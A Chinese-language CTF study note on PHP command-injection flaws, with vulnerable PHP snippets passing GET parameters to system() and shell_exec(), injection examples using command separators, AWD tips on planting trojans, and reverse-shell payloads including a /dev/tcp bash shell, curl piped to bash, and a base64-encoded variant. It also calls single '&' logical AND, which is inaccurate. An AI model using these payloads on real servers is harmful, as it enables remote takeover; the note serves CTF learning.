CTF WEB 命令执行漏洞
命令执行漏洞
1. 程序过滤不严,导致用户可以将代码注入并执行
**高危函数:**eval()、assert()、preg_replace()、call_user_func()等等...
2. 对于执行命令的函数,参数过滤不严谨,导致直接命令执行
**高危函数:**system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open()等等...
反引号是shell_exec()的别名,如echo `ls` 代表执行ls命令
<?php
$username = $_GET['username'];
system("mkdir $username");
?>
正常情况下用户传入adc,系统就会执行“mkdir abc”命令,去创建一个文件夹
但是如果传入参数为“abc;ls”,那么在创建文件夹后会执行"ls"命令,因为 ”;“ 分号为命令拼接,将两条命令放到一行当中去执行
cp /tmp/sourcefile /app/public/#{userinput}.png
如上述例子中通过传入"abc.png;ls;",就会导致额外的命令执行
执行权限
执行系统命令继承Web server用户权限,Web服务器用户为www-data
在awd比赛中,通常会给你一个能够连接ssh的用户,例如ctf、test、user,如果别人给你服务器种上了木马,而你使用连接ssh的用户通常无法删除,因为所属用户组不同,因此没有权限
通常解决方法为给自己服务器写入木马,然后通过蚁剑类远程执行命令工具来去删除对方木马
另一种是不死马,不死马会在内存中不断运行,每间隔一段时间如一秒,向主机重新写入木马,解决方法为通过蚁剑连接到自己主机,执行”kill -9 -1“命令,结束当前用户所有的进程
如果说是通过调用系统命令执行"sh busima.sh"、"php busima.php"等命令,可以通过执行
ps -ef | grep busima.sh
找到进程PID,然后通过"kill -9 pid <PID>"结束进程
例子
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
echo shell_exec("ping - c 4" . $ip);
} else{
highlight_file(__FILE__);
}
?>
PHP中的点'.'代表字符串拼接
通过拼接命令参数,导致的额外命令执行,如执行“ls -l”命令
GET:
http://localhost/test.php?ip=127.0.0.1;ls%20-l
联合执行
cmd1;cmd2;cmd3
命令从头往后依次执行,无论前一条命令是否执行成功,都不会影响后面的命令执行
cmd1&cmd2&cmd3
使用逻辑和&&,如果前一条命令出现错误时,将会停止执行后面的命令
cmd1||cmd2||cmd3
使用逻辑或||,如果前一条命令执行失败,才会执行后面的命令
echo 'abc' | md5
使用管道符|,会将前一条命令的结果作为后一条命令的输入
%0a
%0d
换行和回车符
无回显问题
通常在远程计算机执行命令后都会返回命令结果,但是也可能没有返回结果,也叫无回显
反弹shell
nc -lvp <port>
在自己服务器中监听反弹的端口号
bash -i >& /dev/tcp/<ip>/<port> 0>&1
在远程计算机上执行如上命令,即可完成shell反弹
此命令也有可能无法执行成功,可以将命令保存在自己服务器中的一个txt文档中,使用管道符来执行命令,如下
curl http://localhost/shell.txt | bash
也可以通过将命令进行base64编码来执行,如下
echo YmFzaCAtaSA+JiAvZGV2L3RjcC88aXA+Lzxwb3J0PiAwPiYx | base64 -d | bash